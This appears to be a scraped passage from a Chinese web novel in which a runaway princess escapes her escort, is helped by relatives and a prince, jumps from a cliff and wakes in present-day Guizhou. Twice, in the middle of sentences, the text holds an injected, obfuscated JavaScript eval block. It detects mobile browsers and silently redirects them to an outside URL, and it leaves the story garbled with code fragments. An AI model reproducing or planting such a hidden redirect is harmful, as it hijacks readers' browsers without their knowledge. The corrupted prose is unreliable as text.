黑脸嬷嬷虽然很不满,但她怕孟书渺那天在谨身殿的壮举再现,又见她们三个一路上都安安分分没闹幺蛾子,赶了这么久的路自己也很疲惫,便放松了些警惕,任她们去护军那里拿吃食。 这日坐在驿站的房间里,孟书渺掌心紧攥着巽娘给她的那枚小印在心里思索着有什么办法能在云州多拖上一段时日。 正想着,杏芽推门进来,手里拎着食盒子。 一进门她就迫不及待合上了门,还紧张兮兮地趴在门上听了一会儿,确定外面没人她才走近去把食盒放到桌子上。 孟书渺盯着她看。 杏芽将食盒里的吃食一一摆出来,然后将握在掌心的一样什么东西塞入了孟书渺掌心,在孟书渺耳边轻声道:“方才领饭时一个火头军偷偷塞给我的。” 是一张叠成小块的纸条。 孟书渺呼吸急促几分,站起身走到床边面朝里找了个隐蔽的角落小心翼翼地打开了小纸条,上面只有流个字:“勿食晚,待子夜。” 终于来了! 心脏在胸腔里怦怦地跳,孟书渺将纸条用烛火烧毁,贴身收好田黄石小印,将拿来的那些饭菜全倒进来隐蔽的床底假装正常吃完,又让杏芽赶紧去悄悄的把春山找回来。 孟书渺把有人要协助她们仨逃跑的事告诉了杏芽和春山,两小只没有任何犹豫坚定跟随,表示公主到哪儿他俩就到哪,就是死也要死在一起。 …… 孟书渺觉得今天夜里整个驿站都静的出奇,就连往常每天都要到她房里来添一添堵的黑脸嬷嬷今日都没出现。 眼看子时已到,就在三人紧张又焦急地等待时,门外有黑影出现,轻扣了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266941|181355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三下房门。 孟书渺顿时警惕起来,将之前暗中磨尖了的簪子从头上拔下来紧握在手中,就听得门外的人压低了声音说道:“公主可用了今日晚食?” 闻言孟书渺便知应该是接应她的人到了。 进来的是一个面容普通的青年,见了她也不多话,直接掏出一个田黄石小印递给孟书渺看,“这是主家要我带来给公主看的信物,公主应也有一方一样的印石,可容小的一观?” 孟书渺拿出自己的小印,两块印石出了花色有点不同,一样大小,一样的竹子图案和一个“李”字。 信物对上了,青年立刻行动带着三人出了房门,绕到了驿站后院一个杂物房,移开柴垛,就出现了一个可容一个成人爬着通过的洞,洞外有接应的人,带着三人上马趁着夜色就朝着某个方向狂奔而去。 明日早上驿站里昏迷的和亲队伍就会被发现了,最多一到两天,就会开始搜捕他们,接应的那些人告诉孟书渺,他们必须要连夜出城。 驿站是在云州下属的一个偏僻小县城里,县城晚上宵禁关城门。 一行人到城门下了,孟书渺还在思考该怎么出城的时候,就听那守门的士兵听对着他们这行人马里为首的中年男子低声喊了句“将军”,然后不知道从哪掏出一块石头对着自己的脑门干脆利落地来了一下,有血流下来,不知道晕没晕,反正人靠着城墙瘫坐在了那里不动了。 然后孟书渺有些呆愣地看着自己这边的人从那士兵身上搜出钥匙,开城门,她被提溜着后颈子上马,向着城外狂奔而去。 那为首的中年男人带着她同乘一骑的,策马狂奔,从天黑跑到天亮,不知跑了多久,感觉五脏六腑都要被颠成一团了,最后在山脚下一户隐蔽的农家小院前停了下来。 那中年男人见孟书渺扶着墙在那里干呕,上前用大手啪啪给她拍背,差点给孟书渺拍吐血,就听这大叔说道:“果真是体弱了些,唉……造孽啊,要知道你娘很小的时候就能把马跑到吐沫子。” 进了那农家小院,一行人都训练有速地开始整装,给马喂草、做饭。 孟书渺换掉了原来的公主服饰,穿了一身男装,喝着那大叔端来的姜汤听他介绍他自己:“幼时拜你外祖父为师学武,我唤你母亲一声师姐,你就是我师侄。” 这位师叔姓骆,骆师叔也是将门出生,骆家几代掌东湘军兵权,守着大卫东边沿海一带打击水匪和外域海寇,小时候不正经拜她外公做老师学过李家枪,因为没有正式拜过师所以少有人知道他和李家的这层关系,故而没在李家被清算时受牵连,只是明帝忌惮武将,重文轻武,这些年来骆家的日子也不好过。 五公主要和亲北鞑和巽娘的求助消息一并传到骆师叔手里时他正好是在回京述职期间。 孟书渺把自己收着的那个小印给了骆师叔,七尺高的男人沉默地接过印章眼眶有些发红。 骆师叔:“休息两个时辰后我们必须再次启程赶路,岁宁你可愿随师叔一起去宁波?若是去了宁波,以后可能要委屈你隐姓埋名不能见人,但有东湘军在师叔保你无虞。” 孟书渺觉得自己有些羞愧,用着李岁宁的身体要去自己的事,还要用人家的身世关系,沉默了良久后她出声:“谢谢师叔,但是师叔……我,我想去西南那边。” 16.第 16 章 骆师叔对于这个一直被关在皇宫里长大的小师侄要去西南感到意外和疑不解,想劝她随自己一起宁波,自己也好照应。 孟书渺却很坚持,表示一定要去西南。 这是她现在能想到的有机会穿越回去的唯一希望,这些天她越发频繁地做梦,梦到她在现代时经历过的,一次又一次梦到她穿越前和朋友们在贵省旅游时时的场景。 有种直觉告诉她必须去这个世界的贵省也就是夜郎国,说不清楚是为什么,但就是像是一种感召,似是冥冥之中有什么在牵引着提示着她,她或许可以在那里找到她一直苦寻的答案。 所以她必须要去,一定要去,她得去西南赌一把,就是死她也必须得死在那里! 孟书渺弓身对骆师叔深深一揖:“我要去西南,但恳请骆师叔将他们二人带去宁波,给他们一口饭吃,让他们有个容生之所。” 被指到的杏芽、春山一脸惊慌拼命摇头,说什么都不愿意和孟书渺分开。 杏芽一言不发,但紧紧抱着孟书渺的臂膀不肯松手,春山则一把鼻涕一把泪地大声嚷着就是死也要死在公主身边。 孟书渺却是下定了决心,狠心将二人推给骆师叔,她要去冒险有可能会死,怎么可能带上他们两个,跟着骆师叔走,他们能活,能吃上一口安稳的饱饭,这是她一早就想好的。 但骆师叔是东湘军的话事人,他明面上离京后是回宁波的,所以不能耽误太长时间,便派了两个心腹一路护送师侄去夜郎。 他想着去夜郎也好,毕竟出了卫朝国境,想要再抓她就难多了。宫里那么多人可以去和亲,但骆师叔也坚持,这个人就是不能是李岁宁,否则让那些战死枉死的亡灵们如何安息。 杏芽和春山哭哭啼啼再不愿也被骆师叔带走了,一行人就此分别,孟书渺跟着骆师叔给派的两个护卫直往西南方向而去。 骆师叔看似粗犷,实则心细,老早就为她准备好了伪造的文书路引。 追捕她的人大抵是还没想到她往西南跑了,这个时代交通和信息传递落后,她的脚程要快上一些,但随着时间推移,越往后走,慢慢的就开始看到一些城镇上张贴了她的悬赏告示,短暂休整的时候听人议论说和亲公主半路跑了,北鞑威胁要开战,圣上大怒,下了圣旨追拿逃走的和亲公主,还指了新的和亲公安抚北鞑。 比较欣慰的是那些悬赏告示上画像是手工画的,稍微有点子抽象的成分在里面,加上她这些天风里来雨里去,变得黑瘦粗糙,为了方便赶路干脆割了长发,整个人要多潦草有多潦草,很难有人把她和告示上的五公主联系在一起。 就这样有惊无险地过了一城又一城。 事情就坏在了卫朝西南边境的最后一站坤城。 三人到坤城的时候,还都是风平浪静的,早前为了早点到坤城而长时间赶路,孟书渺身体实在累得有些吃不消了,三人就商量着在坤城休整两天。 孟书渺在客栈休息,两个护卫就出去置办一些去往夜郎国的用需补给,只是出去没多久两人便急急忙忙赶回了客栈。 他们说情况很不对劲,坤城本就是军事要塞,城内各兵营突然开始遣调兵力,不是敌军来犯,却是各处搜捕年轻女子,那预想中最坏的情况或许还是发生了——他们的行踪暴露了。 于是都来不及怎么收拾行囊,三人便动作迅速从客栈后门悄悄离开了。 东湘军在坤城的西南大营没什么经营势力,所以面对气势汹汹的追捕,他们没有助力只能躲藏逃跑,趁着城门还没来得及关闭,三人乔装后混出了城,出城后也不敢耽搁,直奔夜郎国方向而去。 只是他们不知道,就在他们出城后没一炷香的工夫,便有军令来关闭了城门,另有一队人数不少的骑兵同样朝着夜郎方向疾驰追寻而去。 西南多山林,前往夜郎之路他们为了躲避追捕决定抄近走山路,三人又走得急,更是困难重重,孟书渺那不争气的身体这个时候却掉了链子。 她实在有点撑不住了。 俩护卫大哥见她整个人都摇摇欲坠了却还在死撑,再看天色已经擦暗,就商量着寻了一处有树丛遮挡的隐蔽之处暂时休息片刻,只是刚坐下来气都还没来得及喘匀,就听见远处传来了呼呼喝喝嘈杂声。 “都搜仔细一点,抓到和亲公主者百两赏银!” “这边这边……你们几个去那边……” 两个护卫大哥对视一眼,当机立断,一个拎起孟书渺甩上马背,另一个则翻身上马朝着他们这边对应的另一个反方向冲去。 “什么人?站住!快快快,这边……” 孟书渺趴在马背上,被带着往密林深处行去,看着那引开追兵的护卫大哥消失的方向,死死忍住不让自己呜咽出声。 山林深处有一条人为踩出来的小路,只是越往里就越难行,杂草灌木丛生,剩下的那个护卫大哥把孟书渺放在马背上牵着缰绳,自己则拿着到在前面砍挡路的枯木,护卫大哥之前打听过,说从这个方向一路往西,就能到夜郎。 两人在月色下沉默行进,林子里渐渐起了雾气,孟书渺不敢去想这是不是就是传说中的瘴气。 “咻——” 利刃划破夜色呼啸而来,扑哧一声一支利箭没给他们任何反应时间射中的马后臀,马儿嘶鸣一声,前蹄高高跃起又重重摔倒下去。 护卫大哥眼疾手快将摔下马背的孟书渺接住,待她刚站稳后就将她朝前一推,大声道:“我拦住他们,快跑!”说着就举刀和已经追上来的人厮杀在一起。 伴着身后刀剑相撞的声音,孟书渺屏着一口气,疯了一样地朝林子深处跑去。 够了!真的够了!什么时候能结束?这一切到底什么时候才能结束!究竟为什么就非要让她穿越? 孟书渺只希望这所有的一切都只是一场梦,等到噩梦醒来,她就还是睡在自己房间那张柔软舒适的大床上,异世的一切都不存在,不存在她所受的一切痛苦,也不存在那些因她而牺牲的人。 肺里像是要炸裂开来一样,喘气的时候胸腔都伴随着一阵锐利的疼痛。 她在林深处一阵乱窜,绕得七荤八素的,最后竟误打误撞走出了这片密林。 这是山腰的位置,从这里往下看能隐隐约约看到山脚下村落里零星的亮光,正思索着接下来怎么走的时候,身后脚踩地面枯树叶的声音响起,紧接着烛火亮起,人声靠近。 “快!在那里!” 孟书渺机械般抬起双腿就要跑,可还没跑几步,左小腿被一个石块击中失去了平衡,一下扑到在地。 “上头的命令,要抓活的!” 大脑一片嗡鸣声,眼前也出现一阵阵眩晕的雪花纹,等她反应过来的时候,经被包围了。 火把光照亮下,孟书渺看清了这几个人的面容,都是西南军兵士打扮,为首的两个穿得有些不同,看样子在军中级别不低,一个年轻些,一个稍稍年长些。 年轻的那个人身材高大,面颊瘦削,高眉弓之下在阴影中的双眼是藏不住外溢的阴翳戾气,浑身都透着一股咄咄逼人的气势,就像一直即将捕猎的鹰隼,正盯着猎物伺机而动。 这是个熟人。 其实也不算熟人,从来没说互相过话,孟书渺认得他,但觉得他不一定认得自己。 大皇子生母不详,皇后养子,据说从小性格孤僻阴沉不受帝宠,早早开府封了个郡王,但武艺不俗,他很早便自请去了军中做事,常年在外行军,极少回卫京。 孟书渺早前打卡宫中宴席的时候见过他一次,旁桌的四公主和她提过,说大皇兄过后便要去西南军中,那么现在能在追捕她的西南兵之中看到领头的大皇子也属实正常。 孟书渺绝望了。 “哈哈哈,这便是那和亲逃跑的五公主?真是叫老子一顿好找。” 先开口的是大皇子旁边那个年长些的军头,他摸了摸自己那撇八字胡,眼中是浑浊的淫/邪,“公主不都是金枝玉叶细皮嫩肉的么,怎的这个长得跟个柴火棍似的?杨柳胡同里的窑姐儿都比她漂亮,不过毕竟是公主嘛,要是能尝上一尝公主的滋味那这辈子也是值了,将军你看,反正带回去也要送去北鞑,便宜那些蛮子之前让咱先尝尝鲜,兄弟几个这大半夜折腾一趟也不容易。” 说着就要伸手来摸孟书渺的脸,只是还没摸到被大皇子半路拦下。 大皇子看着倒在地上起不来的孟书渺眯了眯眼,对八字胡淡笑问道:“也不是不可,只在此之前吴副将且先记一记,是否忘了什么重要之事?” 八字胡一愣:“忘了什么?” 而就在八字胡这一个短暂愣神之际,大皇子骤然变脸,以迅雷不及掩耳之势抽出腰间的佩刀,动作快出了残影,一刀狠狠捅进了八字胡的心口。 生变就在一瞬间,原本围着孟书渺的几个军士突然抽刀,分裂成两方,其中一方显然没有准备,还在八字胡被杀的震惊中尚未回神,就纷纷以同样的方式被捅穿了心窝。 看着八字胡骤然瞪大的眼睛和堵在喉咙口的惊愕,大皇子抽回佩刀,一脚将人揣在地上,冷笑一声:“你忘记了,她是本王的亲妹妹,肮脏东西,你早该死了。” 这一系列峰回路转的剧情叫孟书渺目瞪口呆,这这这这这……她那方田黄石小印都已经给了骆师叔了,也没人和她提过这皇后养大的大皇子居然也是她的辅助啊? 大皇子走上前来,将孟书渺从地上扶起来,上下打量她一番而后还笑了笑调侃道:“摔得不重,倒是叫虫蜇得不轻,得上些膏药。” 孟书渺闻言下意识地摸摸自己的脖子,这个时节西南这边已是春末,毒虫毒蚁增多,方才路逃命她不觉得,这会儿后知后觉才发现裸露在外的皮肤好几处都在火辣辣的疼。 “多谢——”孟书渺顿了顿,小心翼翼地看了眼大皇子,“多谢大哥救我。” 大皇子微微颔首,问道:“你要逃去夜郎?” 孟书渺迟疑一瞬,还是点了点头。 大皇子也不再多废话,招招手,旁边那几个兵士上前来,有人递给孟书渺一个水囊、一包饼子,另一个给了她一柄短刀。 大皇子:“很快便会有人再追上来,时间有限,这些你拿着,顺着这条路往山下走,约二里路后崖壁边有一小山洞,你且先去那处避一避,我会替你引开那些人,待天亮之后再赶路,到了山脚便往西行进山坳。” 他拉着孟书渺上前几步,指着前方的一条小路,朝山下的位置指给她看,“过了那山坳便是夜郎的地界了,山中蛇虫鼠蚁多,这个你且收好。” 说着他从自己怀里掏出两个药瓷瓶和一个钱袋子递给孟书渺,“记住,遇到浑浊雾气弥漫不散之地绝不可进,那是瘴气林,夜间也不可行路。大哥能帮你的便是这些了,往后只能靠你自己。” 孟书渺将所有东西都紧紧抱在怀里,抬腿便要走,想想又转回身来,对着大皇子欲言又止:“大哥你放我走了,会不会有麻烦,还有那个……那个方才护着我的那两个护卫,能不能烦请大哥……” 大皇子懂她的意思,“无碍,我自有打算,至于你那两个护卫,我尽力而为。” “谢谢大哥。” 孟书渺带着绝境逢生后最真诚的谢意朝大皇子深深鞠躬,然后转身朝着大皇子给她指明的方向小跑而去。 大皇子就站在原地,看着那个瘦弱的身影跌跌撞撞地消失在前方的月色之中,他收回视线,开始和手下一起快速收拾地上的尸体。 …… 孟书渺深一脚浅一脚地走在不平的下山坡小路上,人一样高的灌木荒草挡路,石块绊脚,时不时有树枝划擦过脸颊,脖子上有虫子叮咬的刺痛,远处还有咕咕呜呜诡异瘆人的不知名鸟叫,只有今晚这皎洁明亮的月光大概是老天对她的唯一怜悯,让她不至于看不清楚磕绊前行的路。 找到了大皇子说所说的那个小山洞后孟书渺找了些枯木树枝遮掩在洞口,就钻了进去。 因为整个人都处一种惊悸的状态中,所以即便身体已经疲累虚弱到了极点,她也绷紧了神经不敢睡死过去,咬牙硬撑着,只是闭上眼睛眯上那么一小会儿,一有点风吹草动就立刻惊醒握紧了手中的那柄短刀。 就这样熬过了一夜,天光初亮时她就起身继续赶路,一刻也不敢停歇。 按照大皇子指的路,下山后就再从山脚爬往上的山坳,这时候孟书渺无比庆幸自己有着不错的方向感,比照着太阳投射的阴影,能辨别西边的方向往前走,即便脚上的血泡已经隔着鞋子渗出了血水也不停步。 山脚处零星分布着一些村落人家,但孟书渺避着人走,渴了就喝口水,饿了就掰点饼子吃,碰上一些她认得可以食用的野果野菜也摘来了吃,夜里找个隐蔽干草堆蜷缩起来,白天继续赶路,被毒虫咬的受不了就搽点药膏。 让她既惊喜又感激的是,大皇子给的两个药瓶,一个涂虫咬,另一个装的居然是人参养血补气丸,就像是特意为她续命准备的。 就这样她一口气走了三天的山路,都说望山跑死马,明明就在眼前的山,她走到第四天早上,才终于走过了那片山坳,从一片山终于到达了另一片山。 眼前已经是夜郎地界了,望着那巍峨连绵一眼望不到头的群山,孟书渺心跳忽然重重加快,似有一种恍惚的熟悉感,总隐隐有种说不清道不明的奇妙感觉。 又走了快两个多时辰,日头已经升高至头顶,这里这时候的天儿已经有些闷热了,走得口干舌燥,她晃了晃手中空空的水囊,看着前面有滩潺潺流动的山涧溪,便过去打算将水囊灌满水。 在溪滩边弯下/身来,看着清澈见底的溪水以及水中倒映出一个像难民一样蓬头垢面的女人,她已经瘦得眼窝凹陷颧骨凸起了。 在手掌心掬了一捧水,洗了把脸清醒了一下已经疲惫到极点的神智,而后才拔开水囊的塞子开始灌水,就在这时,静谧的山林里忽然响起了人为的喧闹声和马蹄踏在溪中溅起破碎的水声,顺着溪流由远及近传入耳中。 孟书渺瞬间应激,没有一秒犹豫,也没有抬头去看那边究竟是谁,起身撒腿就朝反方向玩命地跑起来。 耳边风声猎猎作响,随着剧烈奔跑的急促呼吸,鼻腔里弥漫出来一股血腥气,渐渐的,脚下的步子像灌了铅一样也越来越沉。 “就在前面,快!” “抓活的……领赏!” “……不能再让她跑了!” 身后的马蹄声和人的呼喝声似乎越发近了,伴着山风断断续续传入她耳中,似隔了一层厚重的雾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281149|181355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她明白自己的身体这是已经到极限了,本来就是靠着一股子信念才咬牙坚持到了现在,明明已经靠最后一口残血挺进决赛圈了,就差一点。 不能被抓回去,绝对不能!否则她付出的这些艰辛和那么多人为她的付出就都白费了。 孟书渺咬一咬牙,爆发出身体最本能的求生潜能,完全不管什么方向,只凭本能拼命跑着,待到看清前方是峭壁裸露的断崖时,后面的追兵已经堵住了她想要换方向的出路。 吞咽下喉间上涌的血腥气,眼前一阵阵发黑使得看对面那些追兵的面容都有些模糊扭曲,再回头看看身后陡峭的悬崖,嶙峋尖锐的崖壁石,弥漫着雾气数百米深的高度—— 她想,怪不得那些影视剧中主角被追杀逃至悬崖时都爱演视死如归跳下悬崖的烂俗戏码,原来,是真的不甘心啊! 被逼上绝路后宁为玉碎不为瓦全的不甘心。 向后退了一步退到悬崖最边缘,碎石掉落,簌簌而下。 她看见这些人带着警惕且狰狞的神情朝慢慢地她包围合拢而来,有人挥着刀有人的嘴开开合合,越发尖锐的耳鸣让孟书渺已经听不清周围的一切声音了。 跳吧,跳吧! 跳下去,跳下去吧,跳下去了一切就都结束了…… 这个意识就像是声音一般在她心底浮现,越发清晰。 她甚至隐隐能感觉到自己的生命正在快速流失,真的已经没有任何退路了。 就这样,赌上性命试一把,赢了她回去现代,输了就这样去死吧!她认了! 在这些追兵如饿狼一般齐齐扑来的同时,孟书渺闭上眼,拼尽最后一丝力气,身体后仰腿发力在地上狠狠一蹬,身体腾空的瞬间就传来了下落的失重感,然后她一下就坠入黑暗失去了意识。 与此同时,忽然狂风四起,飞沙扬起走石。 追捕的人扑了个空,眼睁睁看着本以为手到擒来的人就这样跳下了悬崖,有人顿时面色大变,正待探身去看崖下的情况,却被突如其来的狂风卷着沙石吹眯起了眼,吹得这些高壮的男人都东倒西歪,有一个甚至因为脚踩悬崖边站稳摔了下去。 就在这几息之间天地变色,前一刻还艳阳高照的天刹那间像要压下来一样乌云遍布,不见日光,随后,山林中响起呼嚎的风啸声,飞沙走石残叶满天,于是有人惊呼,有人奔走,似乎暂时都不再注意那摔下断崖的五公主…… *** 十月份入秋的天,秋老虎已经退走,早起时的凉意已经到了需要添件外套才能出门的程度。 金大有身上就套了件迷彩作训服作外套,这是他孙子去年高中军训结束后换下来的,本来要丢的,是金大有觉得觉得扔了太可惜就留着干活的时候穿。 他坐在电动三轮上嘀嘀摁了两下喇叭,催促屋头的婆娘动作快点,今天果园里的活有点重,要挖环沟施肥。 等金大有老婆坐上车后斗,小三轮开出农家小院。 前几年金大有在距离自己家大概两公里远的山脚下承包了10亩地种蜂糖李,去年村里的大学生村官搞了助农直播,省去了水果收购商在中间的部分差价,李子卖得很好收入也多了不少,这让金大有信心倍增,今年誓要让蜂糖李大丰收。 骑在村头的路上,遇到熟人金大有就嘀嘀叫两声喇叭和人家打招呼,没过十分钟就到了,电三轮在果园入口处停住,夫妻二人下了车,金大有的老婆先进去了果园里按照惯例现做巡视,金大有则把三轮车上的工具和肥料都搬下来开始做准备。 只是金大有东西还没搬完他老婆就一脸惊恐地又跑了回来,嘴里嚷嚷着:“遭喽遭喽……死噢,死人噢,里头死个人!” 于是夫妻俩一人扛一把锄头,男的在前女的在后大着胆子一起向果林里死人的地方走去。 到了果园靠里一个偏僻的位置,金大有老婆朝前面拐角的一颗李树下指了指,躲在金大有身后手指都在哆嗦。 金大有让老婆留在原地,自己则紧握锄头慢慢走上前,虽然他是个男人但其实心里也在发毛,昨天晚上离开果园时还好好的,守在入口的大黄狗也没叫没反应,他得先看看到是怎么个事。 慢慢靠近,金大有发现那脸朝下呈大字型趴在地上的“尸体”,长头发,穿了件黑色的短袖,手在脚在头在。 金大有小小松了口气,还好还好,没有到最坏的地步,是完整的人民,不是人民碎片,他可听说碎片的冤魂是很凶煞的,道士先生做法都不一定送得走的那种,他这果园才承包还没几年,才刚开始赚点钱。 握着手柄,金大有壮着胆子用锄头碰了碰“女尸”的手,没反应,再加重些力道碰一碰,依旧没反应,再用力些戳戳,还是没反应。 金大有心情烦躁叹口气,一大清早出这样的事真是晦气到头了,锄头还贴在女尸胳膊上,他扭身喊老婆打110报警。 他转头和老婆说话的时候,正好错过了地上的“尸体”手指微不可察地动了动。 嗯?有什么东西在戳她的手臂,冰冰凉凉的? 孟书渺意识朦胧间感知到了外界对她的刺激,听到有人在说话,谁啊?她感觉有点冷啊…… 迷迷糊糊地想着,孟书渺努力撑起眼皮将眼睛撑开一条缝,勉强适应进眼的光线后,她好像看到了有人影在她跟前晃动。 大脑乱得就像一团浆糊,她看到这个人穿了件迷彩服。 她想,逃不过啊,最终还是逃不过啊,再怎么努力还是被抓住了啊……还穿着迷彩呢,那最后那一波把她逼上悬崖抓她的人肯定就还是西南军的兵…… 完了,这下真的彻底完了…… 被西南军抓回去后肯定会把她交给皇后,她能逃一次却再也没机会跑第二次了……不对,等等! 脑中电光一闪,孟书渺一个激灵。 迷彩?! 迷彩!! 刷一下睁大双眼,孟书渺整个人像被电直了一样噌地坐起了身,然后机械地转动着有些僵硬的脖子打量四周的环境,最后把目光定在了跟前这个套着迷彩服的大爷身上。 金大有正骂骂咧咧喊婆娘赶紧回去拿手机报警,却忽然发现他老婆盯着自己身后表情逐渐惊恐,他慢慢转回身,正好看到“女尸”一只苍白的手搭在他的锄头上,正死死盯着他……他的衣服看。 没错,是迷彩服! 眼前这个板寸头花白的男人,外穿迷彩服,里面是一件带着“贵省茅台”字样的文化POLO衫,下面穿着一条迷彩裤,裤脚束进黑色高筒雨鞋中。 孟书渺无法形容自己此刻无与伦比的心情。 她还听到了,这男人在说什么手机,什么110报警的,多么陌生又亲切的词汇啊! 所以她是真的回来了吗?真的回来了吗! 真的回来吗? 我回家了!我成功了!如果这只是她临死前幻想出来的梦,那就让她就这样梦下去永远都不要醒来吧! 孟书渺瘫坐在地上,脸上的表情有些狰狞,又哭又笑疯了一样:“哈哈哈哈呜呜呜呜啊啊啊啊……” 金大有:“啊啊啊啊啊啊啊!” 金大嫂:“啊啊啊啊啊啊啊!” 听到动静赶过来的失职看门汪:“汪汪汪汪汪汪汪!”